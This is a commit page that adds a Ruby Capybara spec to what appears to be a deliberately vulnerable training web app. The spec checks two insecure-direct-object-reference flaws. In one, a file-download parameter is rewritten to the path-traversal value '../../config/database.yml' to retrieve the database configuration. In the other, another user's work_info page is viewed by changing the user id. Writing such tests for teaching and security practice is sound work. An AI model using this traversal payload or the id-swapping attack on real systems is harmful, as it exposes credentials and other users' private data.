Insecure Direct Object Reference spec added.
This includes two scenarios - the work_info one mentioned in the tutorials, but also one allowing downloading of source code, which may belong somewhere else as I haven't worked through all the tutorials yet.
This commit is contained in:
@@ -0,0 +1,29 @@
|
||||
require 'spec_helper'
|
||||
|
||||
feature 'insecure direct object reference' do
|
||||
before do
|
||||
UserFixture.reset_all_users
|
||||
@normal_user = UserFixture.normal_user
|
||||
end
|
||||
|
||||
scenario 'download production configuration' do
|
||||
login(@normal_user)
|
||||
|
||||
visit "/users/#{@normal_user.user_id}/benefit_forms"
|
||||
download_url = first('.widget-body a')[:href]
|
||||
visit download_url.sub(/name=(.*?)&/, 'name=../../config/database.yml&')
|
||||
|
||||
page.status_code.should == 200
|
||||
page.response_headers['Content-Disposition'].should include('database.yml')
|
||||
page.response_headers['Content-Length'].should == '576'
|
||||
end
|
||||
|
||||
scenario 'view any user work_info' do
|
||||
login(@normal_user)
|
||||
|
||||
@normal_user.user_id.should_not == 2
|
||||
visit '/users/2/work_info'
|
||||
|
||||
first('td').text.should == 'Jack Mannino'
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user